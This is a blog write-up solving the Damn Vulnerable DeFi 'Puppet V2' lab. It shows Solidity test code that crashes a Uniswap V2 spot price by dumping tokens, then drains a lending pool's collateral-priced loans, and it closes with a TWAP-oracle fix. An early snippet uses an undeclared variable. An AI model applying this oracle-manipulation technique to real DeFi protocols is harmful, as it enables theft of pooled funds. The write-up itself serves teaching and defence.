Damn Vulnerable DeFi V4 - 09 Puppet V2


Challenge

The developers of the previous pool seem to have learned the lesson. And released a new version.

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. Shouldn’t that be enough?

You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance at risk!

Save all funds from the pool, depositing them into the designated recovery account.


Solve

The vulnerability of this challenge is essentially the same as 08-Pupet, which is a Price Manipulation vulnerability that directly uses X = K/Y as the price information reference.

function _getOracleQuote(uint256 amount) private view returns (uint256) {
    (uint256 reservesWETH, uint256 reservesToken) =
        UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});

    return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
//==================================================================================================================
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) {
    require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT");
    require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
    amountB = amountA * reserveB / reserveA;
}

Since the player still have more assets than pair contract, so the player still can drain out the liquidity of pair contract to make a huge impact on quote() function. We can verify it by executing below snippets:

function test_puppetV2() public checkSolvedByPlayer {
    // Print [Before]
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves({factory: address(uniswapV2Factory), tokenA: address(weth), tokenB: address(token)});
    uint256 quoteBefore = UniswapV2Library.quote({amountA: POOL_INITIAL_TOKEN_BALANCE, reserveA: reservesToken, reserveB: reservesWETH});
    console.log("DVT( 1_000_000e18 ) is equal to WETH(", quoteBefore, ")");

    // Print [After]
    uint256 quoteAfter = UniswapV2Library.quote({amountA: POOL_INITIAL_TOKEN_BALANCE, reserveA: reservesToken_, reserveB: 1});
    console.log("DVT( 1_000_000e18 ) is equal to WETH(", quoteAfter, ")");
}

The difference is that in Uniswap V2, the trader does not need to interact directly with the pair contract, but uses the Router contract to find the associated pair contract.

Full solution code:

function test_puppetV2() public checkSolvedByPlayer {
    // Print [Before]
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves({factory: address(uniswapV2Factory), tokenA: address(weth), tokenB: address(token)});
    uint256 quoteBefore = UniswapV2Library.quote({amountA: POOL_INITIAL_TOKEN_BALANCE, reserveA: reservesToken, reserveB: reservesWETH});
    console.log("DVT( 1_000_000e18 ) is equal to WETH(", quoteBefore, ")");

    // Price Manipulation
    token.approve(address(uniswapV2Router), type(uint256).max);

    address[] memory path = new address[](2);
    path[0] = address(token);
    path[1] = address(weth);

    uniswapV2Router.swapExactTokensForETH(
        token.balanceOf(address(player)), 0, path, player, block.timestamp
    );

    // Print [After]
    (uint256 reservesWETH_, uint256 reservesToken_) = UniswapV2Library.getReserves({factory: address(uniswapV2Factory), tokenA: address(weth), tokenB: address(token)});
    uint256 quoteAfter = UniswapV2Library.quote({amountA: POOL_INITIAL_TOKEN_BALANCE, reserveA: reservesToken_, reserveB: reservesWETH_});
    console.log("DVT( 1_000_000e18 ) is equal to WETH(", quoteAfter, ")");

    // Convert ETH to WETH
    weth.deposit{value: player.balance}();
    weth.approve(address(lendingPool), type(uint256).max);

    // Attack
    lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
    token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}

Potential Solution

Uniswap V2 has a built-in TWAP price accumulator. If you do not use a decentralized price oracle, you should use the UniswapV2 TWAP Price Oracle as a price information reference.

Implementation Example: https://github.com/Keydonix/uniswap-oracle/blob/master/contracts/source/UniswapOracle.sol

function getCurrentPriceCumulativeLast(IUniswapV2Pair uniswapV2Pair, bool denominationTokenIs0) public view returns (uint256 priceCumulativeLast) {
    (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = uniswapV2Pair.getReserves();
    priceCumulativeLast = denominationTokenIs0 ? uniswapV2Pair.price1CumulativeLast() : uniswapV2Pair.price0CumulativeLast();
    uint256 timeElapsed = block.timestamp - blockTimestampLast;
    priceCumulativeLast += timeElapsed * uint(UQ112x112
        .encode(denominationTokenIs0 ? reserve0 : reserve1)
        .uqdiv(denominationTokenIs0 ? reserve1 : reserve0)
    );
}
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣